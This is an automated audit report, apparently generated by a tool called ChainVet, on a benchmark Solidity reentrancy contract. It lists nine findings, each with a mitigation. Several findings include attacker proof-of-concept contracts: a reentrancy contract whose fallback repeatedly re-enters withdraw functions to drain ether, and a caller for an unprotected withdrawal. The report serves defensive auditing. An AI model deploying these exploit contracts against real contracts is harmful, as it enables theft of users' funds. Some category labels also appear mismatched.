ChainVet Audit Report

Reentrancy

Smart Contract Security Analysis

TARGET

/home/anan/Coding/Rust/GP/Static/Benchmarks/Not-so-smart/not-so-smart-contracts-master/reentrancy/Reentrancy.sol

ANALYSIS MODE

hybrid

Prepared by ChainVet Analyzer

Table of Contents

Protocol Summary

ChainVet analyzed /home/anan/Coding/Rust/GP/Static/Benchmarks/Not-so-smart/not-so-smart-contracts-master/reentrancy/Reentrancy.sol using the hybrid analysis pipeline. This report is generated directly from analyzer findings and does not include AI-generated or manually invented issues.

Disclaimer

Automated analysis cannot guarantee that every issue has been found. This report is not an endorsement of the underlying protocol, business logic, or deployment readiness. The review is limited to the code and execution paths available to the analyzer at the time of execution.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

ChainVet maps analyzer severity to this matrix using detector confidence, impact category, and available static/runtime evidence.

Audit Details

Field	Value
Project	Reentrancy
Target	/home/anan/Coding/Rust/GP/Static/Benchmarks/Not-so-smart/not-so-smart-contracts-master/reentrancy/Reentrancy.sol
Analysis mode	hybrid
Raw findings	9
Suppressed low-signal findings	0
Run ID	run-1782333056913
Run directory	runs/run-1782333056913
Runtime	15963ms
Epochs	12
Unique findings	9
SE assists	3
SE seeds injected	0

Scope

Path
/home/anan/Coding/Rust/GP/Static/Benchmarks/Not-so-smart/not-so-smart-contracts-master/reentrancy/Reentrancy.sol

Executive Summary

ChainVet surfaced 9 reportable finding(s): 3 high, 4 medium, 2 low, and 0 informational.

3	4	2	0
High	Medium	Low	Info

Issues Found

Severity	Count
High	3
Medium	4
Low	2
Informational	0
Gas	0

ID	Severity	Title	Location
H-01	High	Unprotected Ether Withdrawal in withdra...	<unknown>::withdrawBalance_fixed_2
H-02	High	Reentrancy in withdrawBalance_fixed	<unknown>::withdrawBalance_fixed
H-03	High	Reentrancy in withdrawBalance	/home/anan/Coding/Rust/GP/Static/Be...
M-04	Medium	Exception Disorder in withdrawBalance_f...	<unknown>::withdrawBalance_fixed
M-05	Medium	Exception Disorder in withdrawBalance_f...	<unknown>::withdrawBalance_fixed_2
M-06	Medium	Unchecked Call in withdrawBalance	<unknown>::withdrawBalance
M-07	Medium	Unchecked Call in withdrawBalance_fixed	<unknown>::withdrawBalance_fixed
L-08	Low	Hardcoded Gas Transfer in withdrawBalan...	<unknown>::withdrawBalance_fixed_2
L-09	Low	Reentrancy in withdrawBalance	<unknown>::withdrawBalance

Findings

High

[H-01] Unprotected Ether Withdrawal in withdrawBalance_fixed_2

Severity	High
Category	Access Control
Confidence	high
Location	<unknown>::withdrawBalance_fixed_2
Analysis layer	runtime
Evidence	executor

Description

Unprotected Ether withdrawal via '$t1' in function 4 ? anyone can drain funds

Impact

Missing or weak authorization can allow unauthorized users to execute privileged actions or change sensitive protocol state.

Proof of Concept / Evidence

The function 'withdrawBalance_fixed_2' appears to perform a privileged action without a reliable authorization gate. Any externally owned account or contract can call it directly, so an attacker can execute the privileged path without owning the protocol role. Depending on the function, this may drain ETH, mint/burn assets, or change security-critical state. Location: <unknown>::withdrawBalance_fixed_2.

```
interface IVictim {
    function withdrawBalance_fixed_2() external;
}
```

```
contract UnauthorizedCallerPoC {
    function exploit(address victim) external {
        // Succeeds if withdrawBalance_fixed_2 has no onlyOwner/role check.
        IVictim(victim).withdrawBalance_fixed_2();
    }
}
```

Recommended Mitigation

Restrict the function to the exact role that is supposed to execute it. Use ‘onlyOwner‘, role-based access control, or a protocol-specific permission check, and add negative tests that prove arbitrary callers revert.

```
address private owner;

modifier onlyOwner() {
    require(msg.sender == owner, "not authorized");
    _;
}

function withdrawBalance_fixed_2() external onlyOwner {
    // privileged logic
}
```

[H-02] Reentrancy in withdrawBalance_fixed

Severity	High
Category	Reentrancy
Confidence	high
Location	<unknown>::withdrawBalance_fixed
Analysis layer	runtime
Evidence	executor

Description

Potential reentrancy: feasible callback in function 3 followed by storage write ’userBalance[msg.sender]’ (evidence=stale-read+post-call-mutation)

Impact

A vulnerable external-call flow may allow an attacker-controlled contract to re-enter before state is finalized, potentially draining funds or corrupting accounting.

Proof of Concept / Evidence

An attacker can call ‘withdrawBalance_fixed‘ from a contract whose fallback re-enters the same function before the vulnerable contract finalizes its accounting. If the balance or entitlement is reduced after the external call, the attacker can withdraw more than their legitimate balance. A minimal abuse flow is: deposit or obtain credit, call ‘withdrawBalance_fixed‘, re-enter from ‘receive()‘, and repeat until the contract balance or gas is exhausted. Location: <unknown>::withdrawBalance_fixed.

```
interface IVictim {
    function withdrawBalance_fixed() external;
}

contract ReentrancyPoC {
    IVictim private immutable victim;
    uint256 private reentered;

    constructor(address victim_) {
        victim = IVictim(victim_);
    }

    function attack() external payable {
        victim.withdrawBalance_fixed();
    }

    receive() external payable {
        if (reentered < 3 && address(victim).balance > 0) {
            reentered++;
            victim.withdrawBalance_fixed();
        }
    }
}
```

Recommended Mitigation

Apply checks-effects-interactions on the affected withdrawal path: validate the caller, calculate the amount, update all internal accounting before the external transfer, then perform the external call. Add a reentrancy guard on externally callable payout functions and prefer pull-based withdrawals for user funds.

```
bool private locked;
mapping(address => uint256) private balances;

modifier nonReentrant() {
    require(!locked, "reentrant call");
    locked = true;
    _;
    locked = false;
}

function withdrawBalance_fixed() external nonReentrant {
    uint256 amount = balances[msg.sender];
    require(amount != 0, "nothing to withdraw");

    balances[msg.sender] = 0; // effects before interaction

    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "ETH transfer failed");
}
```

[H-03] Reentrancy in withdrawBalance

Severity	High
Category	Reentrancy
Confidence	high
Location	/home/anan/Coding/Rust/GP/Static/Benchmarks/Not-so-smart/not-so-smart-contracts-master/reentrancy/Reentrancy.sol::withdrawBalance (289-593)
Analysis layer	runtime
Evidence	rule-backstop

Description

RE-04: reentrancy in ‘withdrawBalance‘: state variable is read before an ETH-sending external call and written after it inside nested control flow; update state before the call

Impact

A vulnerable external-call flow may allow an attacker-controlled contract to re-enter before state is finalized, potentially draining funds or corrupting accounting.

Proof of Concept / Evidence

An attacker can call ‘withdrawBalance‘ from a contract whose fallback re-enters the same function before the vulnerable contract finalizes its accounting. If the balance or entitlement is reduced after the external call, the attacker can withdraw more than their legitimate balance. A minimal abuse flow is: deposit or obtain credit, call ‘withdrawBalance‘, re-enter from ‘receive()‘, and repeat until the contract balance or gas is exhausted. Location: /home/anan/Coding/Rust/GP/Static/Benchmarks/Not-so-smart/not-so-smart-contracts-master/reentrancy/Reentrancy.sol::withdrawBalance (289-593).

```
interface IVictim {
    function withdrawBalance() external;
}

contract ReentrancyPoC {
    IVictim private immutable victim;
    uint256 private reentered;

    constructor(address victim_) {
        victim = IVictim(victim_);
    }

    function attack() external payable {
        victim.withdrawBalance();
    }

    receive() external payable {
        if (reentered < 3 && address(victim).balance > 0) {
            reentered++;
            victim.withdrawBalance();
        }
    }
}
```

Recommended Mitigation

Apply checks-effects-interactions on the affected withdrawal path: validate the caller, calculate the amount, update all internal accounting before the external transfer, then perform the external call. Add a reentrancy guard on externally callable payout functions and prefer pull-based withdrawals for user funds.

```
bool private locked;
mapping(address => uint256) private balances;
```

```
modifier nonReentrant() {
    require(!locked, "reentrant call");
    locked = true;
    _;
    locked = false;
}

function withdrawBalance() external nonReentrant {
    uint256 amount = balances[msg.sender];
    require(amount != 0, "nothing to withdraw");

    balances[msg.sender] = 0; // effects before interaction

    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "ETH transfer failed");
}
```

Medium

[M-04] Exception Disorder in withdrawBalance_fixed

Severity	Medium
Category	Access Control
Confidence	low
Location	<unknown>::withdrawBalance_fixed
Analysis layer	runtime
Evidence	executor

Description

Exception disorder: external call to '$t5' in function 3 followed by state change without checking return

Impact

The finding indicates behavior that may weaken contract safety, correctness, or maintainability depending on the surrounding business logic.

Proof of Concept / Evidence

The finding points to behavior that may be exploitable depending on surrounding business logic. Review the path at <unknown>::withdrawBalance_fixed, identify who can call it, which state variables change, and whether an attacker can control the inputs or external call target.

Recommended Mitigation

Review the affected code path manually, add a focused regression test, and apply the smallest code change that removes the unsafe behavior.

[M-05] Exception Disorder in withdrawBalance_fixed_2

Severity	Medium
Category	Access Control
Confidence	low
Location	<unknown>::withdrawBalance_fixed_2
Analysis layer	runtime
Evidence	executor

Description

Exception disorder: external call to '$t1' in function 4 followed by state change without checking return

Impact

The finding indicates behavior that may weaken contract safety, correctness, or maintainability depending on the surrounding business logic.

Proof of Concept / Evidence

The finding points to behavior that may be exploitable depending on surrounding business logic. Review the path at <unknown>::withdrawBalance_fixed_2, identify who can call it, which state variables change, and whether an attacker can control the inputs or external call target.

Recommended Mitigation

Review the affected code path manually, add a focused regression test, and apply the smallest code change that removes the unsafe behavior.

[M-06] Unchecked Call in withdrawBalance

Severity	Medium
Category	Access Control
Confidence	high
Location	<unknown>::withdrawBalance
Analysis layer	runtime
Evidence	executor

Description

Unchecked external call to '$t2' in function 2 ? return value not verified

Impact

External call failures may be missed or forced by gas constraints, causing state to continue under incorrect assumptions.

Proof of Concept / Evidence

The contract appears to continue execution after an external call without requiring success. An attacker-controlled callee can revert or return ‘false‘, while the victim still updates state as if the transfer or action succeeded. This can create incorrect accounting, unpaid withdrawals, or inconsistent protocol state. Location: <unknown>::withdrawBalance.

```
contract RejectsEther {
    receive() external payable {
        revert("reject payment");
    }
}

// If the victim ignores the return value:
```

```
// (bool ok, ) = user.call{value: amount}("");
// balances[user] = 0; // state changes even when ok == false
```

Recommended Mitigation

Check the returned success flag for every low-level call. Only update accounting after the call succeeds, or use a pull-payment design where failed recipients can retry without blocking other users.

```
(bool ok, ) = recipient.call{value: amount}("");
require(ok, "external call failed");
```

[M-07] Unchecked Call in withdrawBalance_fixed

Severity	Medium
Category	Access Control
Confidence	high
Location	<unknown>::withdrawBalance_fixed
Analysis layer	runtime
Evidence	executor

Description

Unchecked external call to '$t5' in function 3 ? return value not verified

Impact

External call failures may be missed or forced by gas constraints, causing state to continue under incorrect assumptions.

Proof of Concept / Evidence

The contract appears to continue execution after an external call without requiring success. An attacker-controlled callee can revert or return 'false', while the victim still updates state as if the transfer or action succeeded. This can create incorrect accounting, unpaid withdrawals, or inconsistent protocol state. Location:

<unknown>::withdrawBalance_fixed.

```
contract RejectsEther {
    receive() external payable {
        revert("reject payment");
    }
}

// If the victim ignores the return value:
// (bool ok, ) = user.call{value: amount}("");
// balances[user] = 0; // state changes even when ok == false
```

Recommended Mitigation

Check the returned success flag for every low-level call. Only update accounting after the call succeeds, or use a pull-payment design where failed recipients can retry without blocking other users.

```
(bool ok, ) = recipient.call{value: amount}("");
require(ok, "external call failed");
```

Low

[L-08] Hardcoded Gas Transfer in withdrawBalance_fixed_2

Severity	Low
Category	Denial of Service
Confidence	medium
Location	<unknown>::withdrawBalance_fixed_2
Analysis layer	runtime
Evidence	executor

Description

Hardcoded gas: '$t1' in function 4 uses fixed 2300 gas stipend ? may fail with contract recipients

Impact

External call failures may be missed or forced by gas constraints, causing state to continue under incorrect assumptions.

Proof of Concept / Evidence

‘transfer‘/‘send‘ forwards a fixed 2300 gas stipend. A recipient contract with a non-trivial ‘receive()‘ function can fail the transfer, causing withdrawals or payout loops to revert and creating a denial of service. Location: <unknown>::withdrawBalance_fixed_2.

```
contract GasHeavyReceiver {
    uint256 public writes;

    receive() external payable {
        writes += 1; // costs more than the 2300 gas stipend
    }
}
```

Recommended Mitigation

Avoid relying on ‘transfer‘/‘send‘ for critical payouts. Use ‘call‘ with checked success, update state before the call, and prefer pull payments so one receiver cannot block the entire payout flow.

```
uint256 amount = pending[msg.sender];
pending[msg.sender] = 0;

(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "ETH transfer failed");
```

[L-09] Reentrancy in withdrawBalance

Severity	Low
Category	Reentrancy
Confidence	low
Location	<unknown>::withdrawBalance
Analysis layer	runtime

Evidence	executor

Description

Heuristic reentrancy signal: external call in function 2 followed by storage write 'userBalance[msg.sender]' without callback evidence

Impact

A vulnerable external-call flow may allow an attacker-controlled contract to re-enter before state is finalized, potentially draining funds or corrupting accounting.

Proof of Concept / Evidence

An attacker can call 'withdrawBalance' from a contract whose fallback re-enters the same function before the vulnerable contract finalizes its accounting. If the balance or entitlement is reduced after the external call, the attacker can withdraw more than their legitimate balance. A minimal abuse flow is: deposit or obtain credit, call 'withdrawBalance', re-enter from 'receive()', and repeat until the contract balance or gas is exhausted. Location: <unknown>::withdrawBalance.

```
interface IVictim {
    function withdrawBalance() external;
}

contract ReentrancyPoC {
    IVictim private immutable victim;
    uint256 private reentered;

    constructor(address victim_) {
        victim = IVictim(victim_);
    }

    function attack() external payable {
        victim.withdrawBalance();
    }

    receive() external payable {
        if (reentered < 3 && address(victim).balance > 0) {
            reentered++;
            victim.withdrawBalance();
        }
    }
}
```

Recommended Mitigation

Apply checks-effects-interactions on the affected withdrawal path: validate the caller, calculate the amount, update all internal accounting before the external transfer, then perform the external call. Add a reentrancy guard on externally callable payout functions and prefer pull-based withdrawals for user funds.

```
bool private locked;
mapping(address => uint256) private balances;

modifier nonReentrant() {
    require(!locked, "reentrant call");
    locked = true;
    _;
    locked = false;
}

function withdrawBalance() external nonReentrant {
    uint256 amount = balances[msg.sender];
    require(amount != 0, "nothing to withdraw");

    balances[msg.sender] = 0; // effects before interaction

    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "ETH transfer failed");
}
```

Informational

No findings.

Gas

No gas-specific findings were generated by this report pass.